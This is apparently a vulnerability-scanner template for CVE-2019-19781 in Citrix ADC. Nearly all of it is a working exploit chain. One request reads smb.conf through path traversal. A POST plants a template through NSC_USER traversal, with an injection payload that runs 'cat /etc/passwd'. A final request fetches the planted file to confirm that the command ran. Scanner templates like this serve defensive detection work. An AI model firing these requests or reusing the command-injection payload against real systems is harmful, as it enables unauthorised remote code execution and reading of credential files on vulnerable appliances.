id: CVE-2019-19781
info:
  name: Citrix ADC Path Traversal
  risk: High

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      vpn/
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}../vpns/cfg/smb.conf
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StringSearch("resBody", "[global]") 
  - method: POST
    redirect: false
    url: >-
      {{.root}}/{{.endpoint}}../vpns/portal/scripts/newbm.pl
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      - NSC_USER: ../../../netscaler/portal/templates/somuniquestr
      - NSC_NONCE: nsroot
      - Content-Type: application/x-www-form-urlencoded
    body: |
        url=http://example.com&title=somuniquestr&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]
    detections:
      - >-
        1 == 0
  # checking if exploit works
  - method: GET
    redirect: false
    url: >-
      {{.root}}/{{.endpoint}}../vpns/portal/somuniquestr.xml
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      - NSC_USER: nsroot
      - NSC_NONCE: nsroot
    detections:
      - >-
        StatusCode() == 200 && StringSearch("response", "root:") && StringSearch("response", "bin/bash")

references:
  - https://www.cvebase.com/cve/2019/19781